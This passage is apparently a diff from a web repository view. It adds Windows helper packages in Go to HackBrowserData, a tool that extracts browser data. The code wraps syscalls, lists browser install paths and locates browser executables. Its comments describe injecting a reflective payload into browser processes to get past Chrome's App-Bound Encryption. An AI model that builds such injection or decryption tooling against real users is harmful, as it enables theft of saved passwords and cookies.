0, 0, 0,
|
||||||
|
)
|
||||||
|
if mapping == 0 {
|
||||||
|
return nil, fmt.Errorf("CreateFileMapping: %w", err)
|
||||||
|
}
|
||||||
|
defer windows.CloseHandle(windows.Handle(mapping))
|
||||||
|
|
||||||
|
viewPtr, _, err := procMapViewOfFile.Call(
|
||||||
|
mapping, fileMapRead,
|
||||||
|
0, 0, 0,
|
||||||
|
)
|
||||||
|
if viewPtr == 0 {
|
||||||
|
return nil, fmt.Errorf("MapViewOfFile: %w", err)
|
||||||
|
}
|
||||||
|
defer procUnmapViewOfFile.Call(viewPtr)
|
||||||
|
|
||||||
|
// viewPtr is a valid pointer from MapViewOfFile syscall.
|
||||||
|
// go vet flags this as "possible misuse of unsafe.Pointer" but it's
|
||||||
|
// correct usage for Windows memory-mapped I/O.
|
||||||
|
data := make([]byte, size)
|
||||||
|
copy(data, (*[1 << 30]byte)(unsafe.Pointer(viewPtr))[:size]) //nolint:govet
|
||||||
|
return data, nil
|
||||||
|
}
|
||||||
@@ -0,0 +1,45 @@
|
|||||||
|
//go:build windows
|
||||||
|
|
||||||
|
// Package winapi centralizes low-level Windows API access used across
|
||||||
|
// HackBrowserData. It exposes typed wrappers around specific syscalls
|
||||||
|
// that golang.org/x/sys/windows does not cover, plus shared LazyDLL
|
||||||
|
// handles and a small error-handling helper.
|
||||||
|
//
|
||||||
|
// Callers: utils/injector, filemanager, crypto. Higher-level Windows
|
||||||
|
// browser utilities live in utils/winutil.
|
||||||
|
package winapi
|
||||||
|
|
||||||
|
import (
|
||||||
|
"errors"
|
||||||
|
"fmt"
|
||||||
|
"syscall"
|
||||||
|
|
||||||
|
"golang.org/x/sys/windows"
|
||||||
|
)
|
||||||
|
|
||||||
|
// Package-level LazyDLL handles. Declaring them once here avoids the
|
||||||
|
// NewLazySystemDLL boilerplate previously spread across injector,
|
||||||
|
// filemanager, and crypto.
|
||||||
|
var (
|
||||||
|
Kernel32 = windows.NewLazySystemDLL("kernel32.dll")
|
||||||
|
Ntdll = windows.NewLazySystemDLL("ntdll.dll")
|
||||||
|
Crypt32 = windows.NewLazySystemDLL("crypt32.dll")
|
||||||
|
)
|
||||||
|
|
||||||
|
// CallBoolErr wraps the common "r1 == 0 means failure" Win32 convention.
|
||||||
|
// Win32 GetLastError often returns ERROR_SUCCESS (errno 0) even on failure,
|
||||||
|
// so we distinguish the "no-errno" case explicitly to avoid emitting a
|
||||||
|
// misleading "operation completed successfully" message. errors.As is
|
||||||
|
// used instead of a type assertion so the check stays correct if
|
||||||
|
// x/sys/windows ever wraps the underlying errno.
|
||||||
|
func CallBoolErr(p *windows.LazyProc, args ...uintptr) (uintptr, error) {
|
||||||
|
r, _, callErr := p.Call(args...)
|
||||||
|
if r == 0 {
|
||||||
|
var errno syscall.Errno
|
||||||
|
if errors.As(callErr, &errno) && errno == 0 {
|
||||||
|
return 0, fmt.Errorf("%s: failed (no errno)", p.Name)
|
||||||
|
}
|
||||||
|
return 0, fmt.Errorf("%s: %w", p.Name, callErr)
|
||||||
|
}
|
||||||
|
return r, nil
|
||||||
|
}
|
||||||
@@ -0,0 +1,101 @@
|
|||||||
|
//go:build windows
|
||||||
|
|
||||||
|
// Package winutil provides high-level Windows utilities for HackBrowserData,
|
||||||
|
// built on the low-level syscall wrappers in utils/winapi.
|
||||||
|
//
|
||||||
|
// It currently covers:
|
||||||
|
// - Browser executable resolution via registry App Paths + install-path
|
||||||
|
// fallbacks (browser_path_windows.go).
|
||||||
|
// - A single source of truth for Windows-side browser metadata: executable
|
||||||
|
// name, install fallbacks, and ABE dispatch kind (browser_meta_windows.go).
|
||||||
|
//
|
||||||
|
// The C-side counterpart — CLSID / IID / vtable-slot bytes consumed by the
|
||||||
|
// reflective payload — lives in crypto/windows/abe_native/com_iid.c and
|
||||||
|
// must stay separate: the payload runs inside the injected browser process
|
||||||
|
// with no Go runtime.
|
||||||
|
package winutil
|
||||||
|
|
||||||
|
// ABEKind selects the App-Bound Encryption dispatch path used by the injected
|
||||||
|
// payload for this browser. DPAPI-only browsers (classic v10/v11) use ABENone;
|
||||||
|
// v20-capable Chromium forks pick a vtable slot based on which IElevator
|
||||||
|
// flavor their elevation_service exposes.
|
||||||
|
type ABEKind int
|
||||||
|
|
||||||
|
const (
|
||||||
|
// ABENone means this browser has no ABE path — the key retriever chain
|
||||||
|
// falls through to DPAPI for v10/v11.
|
||||||
|
ABENone ABEKind = iota
|
||||||
|
// ABEChromeBase is IElevator slot 5 (Chrome, Brave, CocCoc).
|
||||||
|
ABEChromeBase
|
||||||
|
// ABEEdge is IElevator slot 8 (Edge; prepends 3 extra interface methods).
|
||||||
|
ABEEdge
|
||||||
|
// ABEAvast is IElevator slot 13 (Avast; extended IElevator).
|
||||||
|
ABEAvast
|
||||||
|
)
|
||||||
|
|
||||||
|
// Entry is the per-browser Windows metadata record.
|
||||||
|
//
|
||||||
|
// Key must match browser.BrowserConfig.Storage so retrievers and path
|
||||||
|
// resolvers share a single lookup identifier. CLSID/IID bytes are *not*
|
||||||
|
// stored here; see the package doc for why.
|
||||||
|
type Entry struct {
|
||||||
|
Key string
|
||||||
|
ExeName string
|
||||||
|
InstallFallbacks []string
|
||||||
|
ABE ABEKind
|
||||||
|
}
|
||||||
|
|
||||||
|
// Table is the authoritative Go-side map of Windows browser metadata.
|
||||||
|
// Adding a new Chromium fork on the Go side is a single-entry edit here.
|
||||||
|
// The corresponding C-side CLSID/IID table lives in com_iid.c.
|
||||||
|
var Table = map[string]Entry{
|
||||||
|
"chrome": {
|
||||||
|
Key: "chrome",
|
||||||
|
ExeName: "chrome.exe",
|
||||||
|
InstallFallbacks: []string{
|
||||||
|
`%ProgramFiles%\Google\Chrome\Application\chrome.exe`,
|
||||||
|
`%ProgramFiles(x86)%\Google\Chrome\Application\chrome.exe`,
|
||||||
|
`%LocalAppData%\Google\Chrome\Application\chrome.exe`,
|
||||||
|
},
|
||||||
|
ABE: ABEChromeBase,
|
||||||
|
},
|
||||||
|
"chrome-beta": {
|
||||||
|
Key: "chrome-beta",
|
||||||
|
ExeName: "chrome.exe",
|
||||||
|
InstallFallbacks: []string{
|
||||||
|
`%ProgramFiles%\Google\Chrome Beta\Application\chrome.exe`,
|
||||||
|
`%ProgramFiles(x86)%\Google\Chrome Beta\Application\chrome.exe`,
|
||||||
|
`%LocalAppData%\Google\Chrome Beta\Application\chrome.exe`,
|
||||||
|
},
|
||||||
|
ABE: ABEChromeBase,
|
||||||
|
},
|
||||||
|
"edge": {
|
||||||
|
Key: "edge",
|
||||||
|
ExeName: "msedge.exe",
|
||||||
|
InstallFallbacks: []string{
|
||||||
|
`%ProgramFiles(x86)%\Microsoft\Edge\Application\msedge.exe`,
|
||||||
|
`%ProgramFiles%\Microsoft\Edge\Application\msedge.exe`,
|
||||||
|
},
|
||||||
|
ABE: ABEEdge,
|
||||||
|
},
|
||||||
|
"brave": {
|
||||||
|
Key: "brave",
|
||||||
|
ExeName: "brave.exe",
|
||||||
|
InstallFallbacks: []string{
|
||||||
|
`%ProgramFiles%\BraveSoftware\Brave-Browser\Application\brave.exe`,
|
||||||
|
`%ProgramFiles(x86)%\BraveSoftware\Brave-Browser\Application\brave.exe`,
|
||||||
|
`%LocalAppData%\BraveSoftware\Brave-Browser\Application\brave.exe`,
|
||||||
|
},
|
||||||
|
ABE: ABEChromeBase,
|
||||||
|
},
|
||||||
|
"coccoc": {
|
||||||
|
Key: "coccoc",
|
||||||
|
ExeName: "browser.exe",
|
||||||
|
InstallFallbacks: []string{
|
||||||
|
`%ProgramFiles%\CocCoc\Browser\Application\browser.exe`,
|
||||||
|
`%ProgramFiles(x86)%\CocCoc\Browser\Application\browser.exe`,
|
||||||
|
`%LocalAppData%\CocCoc\Browser\Application\browser.exe`,
|
||||||
|
},
|
||||||
|
ABE: ABEChromeBase,
|
||||||
|
},
|
||||||
|
}
|
||||||
@@ -0,0 +1,129 @@
|
|||||||
|
//go:build windows
|
||||||
|
|
||||||
|
package winutil
|
||||||
|
|
||||||
|
import (
|
||||||
|
"errors"
|
||||||
|
"fmt"
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"golang.org/x/sys/windows"
|
||||||
|
"golang.org/x/sys/windows/registry"
|
||||||
|
|
||||||
|
"github.com/moond4rk/hackbrowserdata/utils/winapi"
|
||||||
|
)
|
||||||
|
|
||||||
|
// ErrExecutableNotFound is returned when a browser's executable cannot be
|
||||||
|
// located via registry App Paths or any install-location fallback.
|
||||||
|
var ErrExecutableNotFound = errors.New("browser executable not found")
|
||||||
|
|
||||||
|
// ExecutablePath resolves a browser's .exe with a 4-tier search:
|
||||||
|
// 1. Registry App Paths in HKLM
|
||||||
|
// 2. Registry App Paths in HKCU
|
||||||
|
// 3. Running-process probe — scan EnumProcesses for a match by exe name
|
||||||
|
// and return the owner's QueryFullProcessImageName. Picks up portable
|
||||||
|
// builds and non-standard installs that never wrote to App Paths.
|
||||||
|
// 4. Hard-coded InstallFallbacks from Table (last resort when the browser
|
||||||
|
// is not running and the registry is missing the entry).
|
||||||
|
//
|
||||||
|
// browserKey must match an Entry in Table; keys align with
|
||||||
|
// browser.BrowserConfig.Storage.
|
||||||
|
func ExecutablePath(browserKey string) (string, error) {
|
||||||
|
entry, ok := Table[browserKey]
|
||||||
|
if !ok {
|
||||||
|
return "", fmt.Errorf("%w: %q (no lookup entry)", ErrExecutableNotFound, browserKey)
|
||||||
|
}
|
||||||
|
|
||||||
|
if p, err := appPathsLookup(entry.ExeName, registry.LOCAL_MACHINE); err == nil {
|
||||||
|
return p, nil
|
||||||
|
}
|
||||||
|
if p, err := appPathsLookup(entry.ExeName, registry.CURRENT_USER); err == nil {
|
||||||
|
return p, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
if p := runningProcessPath(entry.ExeName); p != "" {
|
||||||
|
return p, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, candidate := range entry.InstallFallbacks {
|
||||||
|
// Use winapi.ExpandEnvString (kernel32!ExpandEnvironmentStringsW)
|
||||||
|
// rather than os.ExpandEnv: Go stdlib only understands Unix-style
|
||||||
|
// $VAR / ${VAR} and leaves Windows-style %VAR% untouched, which
|
||||||
|
// would make every fallback path fail to resolve. Verified on
|
||||||
|
// Windows 10 19044 + Go 1.20.14.
|
||||||
|
expanded, err := winapi.ExpandEnvString(candidate)
|
||||||
|
if err != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if fileExists(expanded) {
|
||||||
|
return expanded, nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return "", fmt.Errorf("%w: %q (registry miss, no running process, no fallback match)",
|
||||||
|
ErrExecutableNotFound, browserKey)
|
||||||
|
}
|
||||||
|
|
||||||
|
// runningProcessPath scans live processes for one whose image filename
|
||||||
|
// matches exeName (case-insensitive) and returns the full path on the
|
||||||
|
// first hit. Errors are swallowed — this is a best-effort probe that
|
||||||
|
// yields to the hard-coded fallbacks if nothing matches.
|
||||||
|
func runningProcessPath(exeName string) string {
|
||||||
|
pids, err := winapi.EnumProcesses()
|
||||||
|
if err != nil {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
for _, pid := range pids {
|
||||||
|
if pid == 0 {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
h, err := windows.OpenProcess(windows.PROCESS_QUERY_LIMITED_INFORMATION, false, pid)
|
||||||
|
if err != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
path, err := winapi.QueryFullProcessImageName(h)
|
||||||
|
_ = windows.CloseHandle(h)
|
||||||
|
if err != nil || path == "" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
// Match the leaf filename only — a substring match against the full
|
||||||
|
// path would accept "chrome_proxy.exe" when we asked for "chrome.exe".
|
||||||
|
if strings.EqualFold(filepath.Base(path), exeName) {
|
||||||
|
return path
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
|
||||||
|
func appPathsLookup(exeName string, root registry.Key) (string, error) {
|
||||||
|
sub := `SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\` + exeName
|
||||||
|
k, err := registry.OpenKey(root, sub, registry.QUERY_VALUE)
|
||||||
|
if err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
defer k.Close()
|
||||||
|
|
||||||
|
v, _, err := k.GetStringValue("")
|
||||||
|
if err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
v = unquote(v)
|
||||||
|
if !fileExists(v) {
|
||||||
|
return "", fmt.Errorf("registry path does not exist: %s", v)
|
||||||
|
}
|
||||||
|
return filepath.Clean(v), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func fileExists(path string) bool {
|
||||||
|
info, err := os.Stat(path)
|
||||||
|
return err == nil && !info.IsDir()
|
||||||
|
}
|
||||||
|
|
||||||
|
func unquote(s string) string {
|
||||||
|
if len(s) >= 2 && s[0] == '"' && s[len(s)-1] == '"' {
|
||||||
|
return s[1 : len(s)-1]
|
||||||
|
}
|
||||||
|
return s
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user